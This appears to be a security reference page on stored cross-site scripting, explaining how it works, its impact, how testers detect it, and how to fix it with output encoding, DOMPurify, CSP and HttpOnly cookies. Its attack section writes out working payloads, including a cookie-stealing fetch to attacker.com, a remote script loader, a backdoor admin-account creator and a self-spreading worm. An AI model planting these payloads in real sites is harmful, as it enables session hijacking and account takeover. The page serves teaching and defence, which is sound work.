Description
Stored cross-site scripting (stored XSS, also called persistent XSS) is a variant of CWE-79 where the injected script is saved to the application's data store — a database, file system, cache, or message queue — and then served to all subsequent visitors who load the affected page. Unlike reflected XSS, which requires tricking individual victims into clicking a crafted link, stored XSS automatically targets every user who views the compromised content, multiplying the attacker's reach by the application's user base.
Stored XSS appears in any feature that accepts user-supplied content and later displays it to other users: comment sections, user profile fields, product reviews, support tickets, message boards, document editors, chat applications, and administrative dashboards. The vulnerability exists under OWASP A03:2021 (Injection) and is particularly severe because a single successful injection can persist for months or years if not discovered.
The impact of stored XSS scales with the privilege of the accounts viewing the infected page. A payload stored in a support ticket system that administrators review creates an XSS worm targeting admin accounts — leading to account takeover, configuration changes, or complete application compromise without the attacker being present when the exploit fires.
How It Works
An attacker submits a malicious payload via a product comment form:
POST /api/comments
Content-Type: application/json
{
"product_id": 42,
"text": "Great product! <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"
}
The application stores this without sanitization. When any user visits the product page, the comment is rendered as HTML, executing the script in their browser. The script exfiltrates the user's session cookie to the attacker's server, enabling session hijacking.
DOM manipulation payload — a more evasive alternative that avoids obvious <script> tags:
<img src=x onerror="var s=document.createElement('script');s.src='https://attacker.com/payload.js';document.head.appendChild(s)">
Admin panel targeting — if the injected content appears in an admin dashboard (e.g., a user-submitted support ticket), the payload executes with admin privileges:
<svg onload="fetch('/api/admin/create-user',{method:'POST',body:JSON.stringify({username:'backdoor',password:'pwned',role:'admin'}),headers:{'Content-Type':'application/json'}})">
This creates a persistent backdoor admin account silently when the support team views the ticket.
XSS worm — the payload replicates itself by posting the same malicious comment to other resources on behalf of the victim:
fetch('/api/comments', {method:'POST', body: JSON.stringify({text: PAYLOAD}), headers: {'Content-Type':'application/json', 'X-CSRF-Token': document.querySelector('meta[name=csrf-token]').content}})
Penetration testers use Burp Suite to intercept and modify comment/profile submissions, and XSSHunter (or its open-source equivalent) to capture blind stored XSS callbacks in admin panels.
Impact
- Mass Session Hijacking — Stealing session cookies from every user who views the infected page
- Account Takeover — Changing passwords, email addresses, and 2FA settings of affected accounts via authenticated API calls
- Admin Compromise — Executing privileged actions (user creation, configuration changes, data export) when admin accounts load infected content
- Malware Distribution — Redirecting victims to drive-by download pages or silently loading crypto-miners and keyloggers
- XSS Worm Propagation — Self-replicating payloads that spread the injection to additional content, compounding the impact over time
Detection
- Submit XSS payloads in all input fields — test comment boxes, profile fields, filenames, bio sections, and any other stored user content with
<script>alert(1)</script>,<img src=x onerror=alert(1)>, and"><svg onload=alert(1)>. - Use XSSHunter or Burp Collaborator for blind stored XSS — inject a payload that calls back to your server (
<script src="https://your-xsshunter.com/payload.js"></script>) in fields that may only appear in admin panels or email templates. - Check all output contexts — the same stored value may be rendered in HTML, inside a JavaScript variable, in a JSON API response, or in an email. Each context requires different escaping and may be vulnerable independently.
- Test rich-text editors — WYSIWYG editors (TinyMCE, Quill, CKEditor) often allow HTML input. Test for HTML injection and SVG payload execution even if
<script>is blocked. - Review API responses — use Burp Suite to observe what stored user content the application returns in JSON responses and whether downstream code renders it with
innerHTMLordangerouslySetInnerHTML. - Inspect CSP headers — use
curl -Ito checkContent-Security-Policyheaders. A missing or weak CSP ('unsafe-inline',*wildcards) amplifies stored XSS impact.
Remediation
Encode output at render time. Apply context-appropriate encoding: HTML entity encoding for HTML contexts, JavaScript string escaping for JS contexts, and URL encoding for attribute values. Use a templating engine that auto-escapes by default (Jinja2, Handlebars, React's JSX).
Sanitize stored HTML with a whitelist library. For features that must accept rich HTML (document editors, profile bios), use a proven HTML sanitization library rather than a blocklist:
// Node.js — DOMPurify
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const purify = DOMPurify(window);
const safeHtml = purify.sanitize(userInput);
Implement a strict Content Security Policy. Deploy a CSP with script-src 'self' and a nonce or hash for inline scripts. This limits the blast radius even if XSS is present.
Set HttpOnly and Secure cookie flags. HttpOnly prevents JavaScript from accessing session cookies, breaking the most common stored XSS exploitation chain.
Use dangerouslySetInnerHTML sparingly. In React, avoid this prop entirely. In Angular, avoid bypassSecurityTrustHtml. These APIs disable the framework's built-in XSS protection.
